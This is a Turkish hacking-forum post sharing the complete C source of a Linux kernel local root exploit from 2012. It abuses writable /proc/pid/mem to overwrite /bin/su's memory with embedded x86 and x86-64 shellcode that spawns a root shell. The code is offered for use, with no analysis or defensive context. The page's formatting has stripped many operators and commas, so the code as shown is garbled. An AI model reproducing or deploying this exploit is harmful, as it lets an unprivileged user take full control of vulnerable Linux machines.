Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
2.6.39 2011 Local Root Exploit
#1
PHP Kod:
/*



*/

#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path "/tmp/.sockpuppet";
int send_fd(int fd)
{
    
char buf[1];
    
struct iovec iov;
    
struct msghdr msg;
    
struct cmsghdr *cmsg;
    
struct sockaddr_un addr;
    
int n;
    
int sock;
    
char cms[CMSG_SPACE(sizeof(int))];
    
    if ((
sock socket(AF_UNIXSOCK_STREAM0)) < 0)
        return -
1;
    
memset(&addr0sizeof(addr));
    
addr.sun_family AF_UNIX;
    
strncpy(addr.sun_pathsocket_pathsizeof(addr.sun_path) - 1);
    if (
connect(sock, (struct sockaddr*)&addrsizeof(addr)) < 0)
        return -
1;

    
buf[0] = 0;
    
iov.iov_base buf;
    
iov.iov_len 1;

    
memset(&msg0sizeof msg);
    
msg.msg_iov = &iov;
    
msg.msg_iovlen 1;
    
msg.msg_control = (caddr_t)cms;
    
msg.msg_controllen CMSG_LEN(sizeof(int));

    
cmsg CMSG_FIRSTHDR(&msg);
    
cmsg->cmsg_len CMSG_LEN(sizeof(int));
    
cmsg->cmsg_level SOL_SOCKET;
    
cmsg->cmsg_type SCM_RIGHTS;
    
memmove(CMSG_DATA(cmsg), &fdsizeof(int));

    if ((
sendmsg(sock, &msg0)) != iov.iov_len)
        return -
1;
    
close(sock);
    return 
0;
}

int recv_fd()
{
    
int listener;
    
int sock;
    
int n;
    
int fd;
    
char buf[1];
    
struct iovec iov;
    
struct msghdr msg;
    
struct cmsghdr *cmsg;
    
struct sockaddr_un addr;
    
char cms[CMSG_SPACE(sizeof(int))];

    if ((
listener socket(AF_UNIXSOCK_STREAM0)) < 0)
        return -
1;
    
memset(&addr0sizeof(addr));
    
addr.sun_family AF_UNIX;
    
strncpy(addr.sun_pathsocket_pathsizeof(addr.sun_path) - 1);
    
unlink(socket_path);
    if (
bind(listener, (struct sockaddr*)&addrsizeof(addr)) < 0)
        return -
1;
    if (
listen(listener1) < 0)
        return -
1;
    if ((
sock accept(listenerNULLNULL)) < 0)
        return -
1;
    
    
iov.iov_base buf;
    
iov.iov_len 1;

    
memset(&msg0sizeof msg);
    
msg.msg_name 0;
    
msg.msg_namelen 0;
    
msg.msg_iov = &iov;
    
msg.msg_iovlen 1;

    
msg.msg_control = (caddr_t)cms;
    
msg.msg_controllen sizeof cms;

    if ((
recvmsg(sock, &msg0)) < 0)
        return -
1;
    if (
== 0)
        return -
1;
    
cmsg CMSG_FIRSTHDR(&msg);
    
memmove(&fdCMSG_DATA(cmsg), sizeof(int));
    
close(sock);
    
close(listener);
    return 
fd;
}

int main(int argcchar **argv)
{
    if (
argc && argv[1][0] == '-' && argv[1][1] == 'c') {
        
char parent_mem[256];
        
sprintf(parent_mem"/proc/%s/mem"argv[2]);
        
printf("[+] Opening parent mem %s in child.\n"parent_mem);
        
int fd open(parent_memO_RDWR);
        if (
fd 0) {
            
perror("[-] open");
            return 
1;
        }
        
printf("[+] Sending fd %d to parent.\n"fd);
        
send_fd(fd);
        return 
0;
    }
    
    
printf("===============================\n");
    
printf("=          H4x0rL1f3          =\n");
    
printf("=             ---             =\n");
    
printf("=         Feb 25, 2012        =\n");
    
printf("===============================\n\n");
    
    
int parent_pid getpid();
    if (
fork()) {
        
printf("[+] Waiting for transferred fd in parent.\n");
        
int fd recv_fd();
        
printf("[+] Received fd at %d.\n"fd);
        if (
fd 0) {
            
perror("[-] recv_fd");
            return -
1;
        }
        
printf("[+] Assigning fd %d to stderr.\n"fd);
        
dup2(26);
        
dup2(fd2);

        
unsigned long address;
        if (
argc && argv[1][0] == '-' && argv[1][1] == 'o')
            
address strtoul(argv[2], NULL16);
        else {
            
printf("[+] Reading su for exit@plt.\n");
            
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            
FILE *command popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'""r");
            
char result[32];
            
result[0] = 0;
            
fgets(result32command);
            
pclose(command);
            
address strtoul(resultNULL16);
            if (
address == ULONG_MAX || !address) {
                
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n"argv[0], argv[0]);
                return 
1;
            }
            
printf("[+] Resolved exit@plt to 0x%lx.\n"address);
        }
        
printf("[+] Calculating su padding.\n");
        
FILE *command popen("su this-user-does-not-exist 2>&1""r");
        
char result[256];
        
result[0] = 0;
        
fgets(result256command);
        
pclose(command);
        
unsigned long su_padding = (strstr(result"this-user-does-not-exist") - result) / sizeof(char);
        
unsigned long offset address su_padding;
        
printf("[+] Seeking to offset 0x%lx.\n"offset);
        
lseek64(fdoffsetSEEK_SET);
        
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        
char shellcode[] =
            
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80"
;
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        
char shellcode[] =
            
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"
;

#else
#error "That platform is not supported."
#endif
        
printf("[+] Executing su with shellcode.\n");
        
execl("/bin/su""su"shellcodeNULL);
    } else {
        
char pid[32];
        
sprintf(pid"%d"parent_pid);
        
printf("[+] Executing child from child fork.\n");
        
execl("/proc/self/exe"argv[0], "-c"pidNULL);
    }

Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  2016 Güncel Exploit Dökümanı + Videolu Anlatım KingSkrupellos 5 278 04-12-2016, Saat: 00:31
Son Yorum: DeaTHKNighT33
  Windows Server Root Kısa Videolu Anlatım KingSkrupellos 7 159 21-11-2016, Saat: 13:06
Son Yorum: Gardiyan
  vBulletin 5.1.2 SQL Injection Exploit Mrxxx 0 38 20-11-2016, Saat: 11:36
Son Yorum: Mrxxx
  Web hack - Exploit Kurena (Perl) archavin 33 3,509 14-07-2016, Saat: 19:58
Son Yorum: azeredhat
  PHP Scriptlerde SQLi Tespiti ve Exploit Etme H4Sec 113 5,695 02-03-2016, Saat: 16:13
Son Yorum: hasancaN
Anahtar Kelimeler

2.6.39 2011 Local Root Exploit indir, 2.6.39 2011 Local Root Exploit Videosu, 2.6.39 2011 Local Root Exploit Online izle, 2.6.39 2011 Local Root Exploit Bedava indir, 2.6.39 2011 Local Root Exploit Yükle, 2.6.39 2011 Local Root Exploit Hakkında, 2.6.39 2011 Local Root Exploit Nedir, 2.6.39 2011 Local Root Exploit Free indir, 2.6.39 2011 Local Root Exploit Oyunu, 2.6.39 2011 Local Root Exploit Download


1 Ziyaretçi